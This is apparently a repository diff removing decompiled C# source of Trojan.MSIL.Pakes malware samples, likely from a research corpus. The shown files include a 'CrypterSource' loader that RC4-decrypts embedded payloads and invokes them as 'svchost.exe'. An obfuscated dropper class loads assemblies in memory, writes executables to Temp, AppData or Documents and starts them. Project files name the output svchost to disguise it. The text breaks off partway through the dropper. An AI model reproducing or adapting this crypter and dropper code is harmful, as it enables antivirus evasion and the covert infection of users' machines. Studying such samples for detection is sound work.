[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/TaFRRgkneETMvdg.cs
-1933
View File
File diff suppressed because it is too large Load Diff
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.csproj
-46
View File
@@ -1,46 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{2E23F88E-0CE1-4828-8DB8-AC2377AAE295}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>svchost</AssemblyName>
<ApplicationVersion>3.5.2.8</ApplicationVersion>
<RootNamespace>My</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="sOCLjdHJpKPXNsC.cs" />
<Compile Include="TaFRRgkneETMvdg.cs" />
<Compile Include="MyApplication.cs" />
<Compile Include="MyComputer.cs" />
<Compile Include="MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svchost", "Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e.csproj", "{2E23F88E-0CE1-4828-8DB8-AC2377AAE295}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{2E23F88E-0CE1-4828-8DB8-AC2377AAE295}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2E23F88E-0CE1-4828-8DB8-AC2377AAE295}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2E23F88E-0CE1-4828-8DB8-AC2377AAE295}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2E23F88E-0CE1-4828-8DB8-AC2377AAE295}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/sOCLjdHJpKPXNsC.cs
-64
View File
File diff suppressed because one or more lines are too long
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/AssemblyInfo.cs
-3
View File
@@ -1,3 +0,0 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Program.cs
-71
View File
@@ -1,71 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: CrypterSource.Program
// Assembly: test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 585B5A2F-2B95-4521-A946-DF6C5C17545D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6.exe
using System;
using System.Reflection;
using System.Resources;
using System.Text;
namespace CrypterSource
{
internal class Program
{
private static void Main()
{
try
{
ResourceManager resourceManager = new ResourceManager("files", Assembly.GetExecutingAssembly());
byte[] numArray = Program.RC4((byte[]) resourceManager.GetObject("_rrWi2zArTDUbDt2UiyxR"), "_f7b1foiqdLbMQi5m");
Type type = Assembly.Load(Program.RC4((byte[]) resourceManager.GetObject("lolumad"), "_WmPgQsNIJoKU9BOD")).GetTypes()[7];
type.GetMethod("MakeIt").Invoke(Activator.CreateInstance(type), new object[2]
{
(object) numArray,
(object) "svchost.exe"
});
}
catch
{
}
}
public static byte[] RC4(byte[] bytes, string Key)
{
byte[] bytes1 = Encoding.ASCII.GetBytes(Key);
byte[] numArray1 = new byte[256];
byte[] numArray2 = new byte[256];
for (int index = 0; index < 256; ++index)
{
numArray1[index] = (byte) index;
numArray2[index] = bytes1[index % bytes1.GetLength(0)];
}
int index1 = 0;
for (int index2 = 0; index2 < 256; ++index2)
{
index1 = (index1 + (int) numArray1[index2] + (int) numArray2[index2]) % 256;
byte num = numArray1[index2];
numArray1[index2] = numArray1[index1];
numArray1[index1] = num;
}
int index3;
int index4 = index3 = 0;
for (int index5 = 0; index5 < bytes.GetLength(0); ++index5)
{
index4 = (index4 + 1) % 256;
index3 = (index3 + (int) numArray1[index4]) % 256;
byte num = numArray1[index4];
numArray1[index4] = numArray1[index3];
numArray1[index3] = num;
int index6 = ((int) numArray1[index4] + (int) numArray1[index3]) % 256;
bytes[index5] ^= numArray1[index6];
}
return bytes;
}
private static void OHNADWHOWADHohdwAOHD()
{
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.csproj
-40
View File
@@ -1,40 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{DEAC56D2-5E27-428F-8226-8263202226A6}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>test</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>CrypterSource</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="files.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "test", "Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6.csproj", "{DEAC56D2-5E27-428F-8226-8263202226A6}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{DEAC56D2-5E27-428F-8226-8263202226A6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DEAC56D2-5E27-428F-8226-8263202226A6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DEAC56D2-5E27-428F-8226-8263202226A6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DEAC56D2-5E27-428F-8226-8263202226A6}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/files.resx
-5173
View File
File diff suppressed because it is too large Load Diff
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/AssemblyInfo.cs
-16
View File
@@ -1,16 +0,0 @@
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Permissions;
[assembly: AssemblyProduct("Product name")]
[assembly: Guid("786fd57f-472b-491e-935c-a0945566434b")]
[assembly: ComVisible(false)]
[assembly: AssemblyTrademark("Trademark")]
[assembly: AssemblyCopyright("Copyright")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyCompany("Company name")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyDescription("File Description")]
[assembly: AssemblyTitle("Title")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.cs
-69
View File
@@ -1,69 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Isu3zna5bkhldsr5odxeh1vqs1xpxoutm
// Assembly: k5xkdoui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CD3E51E-5608-4BA4-B66B-04206D6A26CE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335.exe
using System;
using System.Text;
public static class Isu3zna5bkhldsr5odxeh1vqs1xpxoutm
{
public static int Jzteuvzbigynns5y0qarufxpy = 129;
public static byte[] p1pgnq0wwiojtmg4ffwhjwkav(byte[] Xwvoaviz40w1dt5zq15s2qdcu)
{
for (int index = 0; index < Xwvoaviz40w1dt5zq15s2qdcu.Length; ++index)
{
char ch = (char) ((uint) Convert.ToChar(Xwvoaviz40w1dt5zq15s2qdcu[index]) ^ (uint) Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.Jzteuvzbigynns5y0qarufxpy);
Xwvoaviz40w1dt5zq15s2qdcu[index] = Convert.ToByte(ch);
}
return Xwvoaviz40w1dt5zq15s2qdcu;
}
public static string k32g0xj5z4a4rs15j(string fagydxc2hdvxrnukr)
{
int length = fagydxc2hdvxrnukr.Length;
string str1 = fagydxc2hdvxrnukr.Substring(0, (fagydxc2hdvxrnukr.Length + 1) / 2);
string str2 = fagydxc2hdvxrnukr.Substring((fagydxc2hdvxrnukr.Length + 1) / 2, fagydxc2hdvxrnukr.Length - (fagydxc2hdvxrnukr.Length + 1) / 2);
int num = 0;
StringBuilder stringBuilder = new StringBuilder(str1);
for (int index = 0; index < str2.Length; ++index)
{
stringBuilder.Insert(num + 1, str2[index]);
num += 2;
}
return stringBuilder.ToString();
}
public static void RC4(ref byte[] bytes, byte[] key)
{
byte[] numArray1 = new byte[256];
byte[] numArray2 = new byte[256];
for (int index = 0; index < 256; ++index)
{
numArray1[index] = (byte) index;
numArray2[index] = key[index % key.GetLength(0)];
}
int index1 = 0;
for (int index2 = 0; index2 < 256; ++index2)
{
index1 = (index1 + (int) numArray1[index2] + (int) numArray2[index2]) % 256;
byte num = numArray1[index2];
numArray1[index2] = numArray1[index1];
numArray1[index1] = num;
}
int index3;
int index4 = index3 = 0;
for (int index5 = 0; index5 < bytes.GetLength(0); ++index5)
{
index4 = (index4 + 1) % 256;
index3 = (index3 + (int) numArray1[index4]) % 256;
byte num = numArray1[index4];
numArray1[index4] = numArray1[index3];
numArray1[index3] = num;
int index6 = ((int) numArray1[index4] + (int) numArray1[index3]) % 256;
bytes[index5] ^= numArray1[index6];
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Oywqlt2t1qhfwywyazfarq5uy.cs
-33
View File
@@ -1,33 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Oywqlt2t1qhfwywyazfarq5uy
// Assembly: k5xkdoui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CD3E51E-5608-4BA4-B66B-04206D6A26CE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335.exe
using System;
using System.Text;
public static class Oywqlt2t1qhfwywyazfarq5uy
{
public static string ccjzgmmms5tybgc4c1wrlnawp(byte[] Czjljm3q4s13gw54deqye1hou)
{
StringBuilder stringBuilder = new StringBuilder();
for (int index = 0; index < Czjljm3q4s13gw54deqye1hou.Length; ++index)
{
char ch = Convert.ToChar(Czjljm3q4s13gw54deqye1hou[index]);
stringBuilder.Append(Convert.ToString(ch));
}
return stringBuilder.ToString();
}
public static byte[] qb3ecqzlwuh30dxunuz3cvgmx(string yasmojvmzpy3wm0wwwv1tga5c)
{
byte[] numArray = new byte[yasmojvmzpy3wm0wwwv1tga5c.Length];
for (int startIndex = 0; startIndex < yasmojvmzpy3wm0wwwv1tga5c.Length; ++startIndex)
{
char ch = Convert.ToChar(yasmojvmzpy3wm0wwwv1tga5c.Substring(startIndex, 1));
numArray[startIndex] = Convert.ToByte(ch);
}
return numArray;
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Sdq242yforpurdmn1igrgoxgfi0kiiw33/calbufxxjdqqg2hmd.cs
-263
View File
@@ -1,263 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Sdq242yforpurdmn1igrgoxgfi0kiiw33.calbufxxjdqqg2hmd
// Assembly: k5xkdoui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CD3E51E-5608-4BA4-B66B-04206D6A26CE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Uckd53gyd1mktkszq;
namespace Sdq242yforpurdmn1igrgoxgfi0kiiw33
{
public class calbufxxjdqqg2hmd
{
private static bool uvq5mk3o0renh5fgcepzpwwyp = true;
private byte[] Rbwyqsmkdhrmhczlk;
private string kqsggor5tcbadbudki05l0tdf = Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("XRO");
private string dxcz2pl1owuu5hsnm1fxo1lao = string.Empty;
private string p3ey3vfs0xkp01tjkr03xupse = string.Empty;
private int ovctduzspdppuyktt;
private bool Gpjbl0owmilci2v2y51gtvz1t;
private bool E4kje5e2joh4bwy3g3bw02an0jh43b1oy;
private string Ysrflisiioq45pa22ybvinbay = string.Empty;
private string Lxgfsgrr422iev50zpilaz3ak = string.Empty;
private object xmgjvox22x4trszjhil04nokc;
private MethodInfo Vig3ncm4tovuwdyhopz1aii2m;
private object o0ucm0rfbr000xb1r(int erkct0ukl5sribdwsyxamisovfxns4le0)
{
Assembly assembly = Assembly.Load(Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.p1pgnq0wwiojtmg4ffwhjwkav(calbufxxjdqqg2hmd.Nw4uibpgqujqyr4oq(Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("rnEdluP.l"))));
Thread.Sleep(1000);
System.Type type = assembly.GetTypes()[erkct0ukl5sribdwsyxamisovfxns4le0];
this.Vig3ncm4tovuwdyhopz1aii2m = type.GetMethod(Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("Rnu"));
return Activator.CreateInstance(type);
}
public static byte[] Nw4uibpgqujqyr4oq(string Ughvmx3xjun2jddylimc2fhns42a40ggt)
{
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(Ughvmx3xjun2jddylimc2fhns42a40ggt))
{
byte[] buffer = new byte[1024];
using (MemoryStream memoryStream = new MemoryStream())
{
while (true)
{
int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
if (count > 0)
memoryStream.Write(buffer, 0, count);
else
break;
}
return memoryStream.ToArray();
}
}
}
private byte[] cxvbqzcylgljw2ndm0bdhgwftivsekccv(byte[] Zlkipvf5ygcbqvvnb)
{
if (this.kqsggor5tcbadbudki05l0tdf == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("r4c"))
Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.RC4(ref Zlkipvf5ygcbqvvnb, Oywqlt2t1qhfwywyazfarq5uy.qb3ecqzlwuh30dxunuz3cvgmx(this.dxcz2pl1owuu5hsnm1fxo1lao));
return Zlkipvf5ygcbqvvnb;
}
private static void an2lhyvt0ub2vgdjal4rfcg0n(byte[] vc04eweudtqkmxdlffx1trj0k)
{
try
{
Thread thread = new Thread(new ParameterizedThreadStart(calbufxxjdqqg2hmd.Ylz4gmm1zwf1rs000tn1r1goc5zu13b0j));
thread.SetApartmentState(ApartmentState.STA);
thread.Start((object) vc04eweudtqkmxdlffx1trj0k);
thread.Join();
}
catch
{
calbufxxjdqqg2hmd.uvq5mk3o0renh5fgcepzpwwyp = false;
}
}
private static void Ylz4gmm1zwf1rs000tn1r1goc5zu13b0j(object juoxcogscryli0hsnsaqqmewj)
{
try
{
MethodInfo entryPoint = Assembly.Load((byte[]) juoxcogscryli0hsnsaqqmewj).EntryPoint;
if (entryPoint.GetParameters().Length == 1)
entryPoint.Invoke((object) null, new object[1]
{
(object) new string[0]
});
else
entryPoint.Invoke((object) null, (object[]) null);
}
catch
{
calbufxxjdqqg2hmd.uvq5mk3o0renh5fgcepzpwwyp = false;
}
}
private bool sgpktjt3q2gogaorzrb1u1n2m(byte[] Cwfecu0cvatbxpu52uduc3bj3)
{
calbufxxjdqqg2hmd.an2lhyvt0ub2vgdjal4rfcg0n(Cwfecu0cvatbxpu52uduc3bj3);
bool uvq5mk3o0renh5fgcepzpwwyp = calbufxxjdqqg2hmd.uvq5mk3o0renh5fgcepzpwwyp;
calbufxxjdqqg2hmd.uvq5mk3o0renh5fgcepzpwwyp = true;
return uvq5mk3o0renh5fgcepzpwwyp;
}
private void Tzp4t312rv1mimn5dljldvzoo(
byte[] Aj1kqcaubnyboy2jokrhmvsus,
string ycj1qcpycnvsmvoqs312yleov,
bool mayb5tdk2db0y2elo)
{
try
{
File.WriteAllBytes(ycj1qcpycnvsmvoqs312yleov, Aj1kqcaubnyboy2jokrhmvsus);
if (!mayb5tdk2db0y2elo)
return;
new Process()
{
StartInfo = {
FileName = ycj1qcpycnvsmvoqs312yleov
}
}.Start();
}
catch
{
}
}
private byte[] el0vk4wz3hihgwhvt(
string e3faevnvukf2kv3ye1ezmxj44,
int Kqktq0lkvsgeeuhvucm0jjwst,
string flrtzsw3ywjxa4bjekbcw5gkm)
{
try
{
IntPtr hModule = W4ytuf0iqrlf3g3zj.U4ahdus33bqrr3xyza2g5z4kafxio11rc(string.Empty);
IntPtr hResInfo = W4ytuf0iqrlf3g3zj.Kfmfyffydmg552qml(hModule, Kqktq0lkvsgeeuhvucm0jjwst, flrtzsw3ywjxa4bjekbcw5gkm);
uint length = W4ytuf0iqrlf3g3zj.Ztwvqitdih0ihxfum(hModule, hResInfo);
IntPtr source = W4ytuf0iqrlf3g3zj.Mcl3unsafxasl1ryb(hModule, hResInfo);
byte[] destination = new byte[(IntPtr) length];
Marshal.Copy(source, destination, 0, (int) length);
return destination;
}
catch (Exception ex)
{
Console.WriteLine(Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("Errraigrsuc:ro edn eore ") + Environment.NewLine + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("Errcd:ro oe ") + ex.Message);
return (byte[]) null;
}
}
private string tlsxpiwei31hgaeplihuor1jq(string Skei1o1uvdhuyoyxkibqnuazi)
{
if (Skei1o1uvdhuyoyxkibqnuazi == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("ApiainPtplcto ah"))
Skei1o1uvdhuyoyxkibqnuazi = Application.StartupPath + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\");
if (Skei1o1uvdhuyoyxkibqnuazi == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("Tmep"))
Skei1o1uvdhuyoyxkibqnuazi = Path.GetTempPath();
if (Skei1o1uvdhuyoyxkibqnuazi == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("ApaapDt"))
Skei1o1uvdhuyoyxkibqnuazi = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\");
if (Skei1o1uvdhuyoyxkibqnuazi == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("M ouetyDcmns"))
Skei1o1uvdhuyoyxkibqnuazi = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\");
if (Skei1o1uvdhuyoyxkibqnuazi == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("Dstpeko"))
Skei1o1uvdhuyoyxkibqnuazi = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\");
if (Skei1o1uvdhuyoyxkibqnuazi == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("Ue rflsrPoie"))
Skei1o1uvdhuyoyxkibqnuazi = Environment.GetEnvironmentVariable(Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("UEPOIESRRFL")) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\");
if (Skei1o1uvdhuyoyxkibqnuazi == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("PormFlsrga ie"))
Skei1o1uvdhuyoyxkibqnuazi = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\");
return Skei1o1uvdhuyoyxkibqnuazi;
}
private string htbnzas4socabxsib(string Rgtaozjrexxhksisbxolxsmmn)
{
string str = string.Empty;
if (Rgtaozjrexxhksisbxolxsmmn == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("0"))
str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\");
if (Rgtaozjrexxhksisbxolxsmmn == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("1"))
str = Path.GetTempPath();
if (Rgtaozjrexxhksisbxolxsmmn == Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("2"))
str = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\");
return str;
}
private void Wqpazmxrqahxd4jpxt1ljoit5(string Zlkipvf5ygcbqvvnb)
{
string[] separator1 = new string[1]
{
Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("lrrabmzylugp3a0gn4a2ne2a3z3hns3np")
};
Zlkipvf5ygcbqvvnb.Split(separator1, StringSplitOptions.None);
string[] separator2 = new string[1]
{
Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("Gz511t5rihidgoexh")
};
string[] strArray1 = Zlkipvf5ygcbqvvnb.Split(separator2, StringSplitOptions.None);
string[] separator3 = new string[1]
{
Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("t2qsgxhd4hzfepqchxskw1dou")
};
string[] strArray2 = Zlkipvf5ygcbqvvnb.Split(separator3, StringSplitOptions.None);
string[] separator4 = new string[1]
{
Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("negqhjxx3xtpcfxon")
};
Zlkipvf5ygcbqvvnb.Split(separator4, StringSplitOptions.None);
this.kqsggor5tcbadbudki05l0tdf = strArray1[1];
this.dxcz2pl1owuu5hsnm1fxo1lao = strArray1[2];
this.p3ey3vfs0xkp01tjkr03xupse = strArray1[3];
this.ovctduzspdppuyktt = Convert.ToInt32(strArray2[1]);
this.Gpjbl0owmilci2v2y51gtvz1t = Convert.ToBoolean(strArray2[16]);
this.E4kje5e2joh4bwy3g3bw02an0jh43b1oy = Convert.ToBoolean(strArray2[17]);
this.Ysrflisiioq45pa22ybvinbay = this.tlsxpiwei31hgaeplihuor1jq(strArray2[18]) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\") + Path.GetRandomFileName();
this.Lxgfsgrr422iev50zpilaz3ak = strArray2[20];
this.Ysrflisiioq45pa22ybvinbay = this.Ysrflisiioq45pa22ybvinbay.Substring(0, this.Ysrflisiioq45pa22ybvinbay.Length - 4) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j(".xee");
Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System));
switch (this.Lxgfsgrr422iev50zpilaz3ak)
{
case "0":
try
{
if (IntPtr.Size == 4)
{
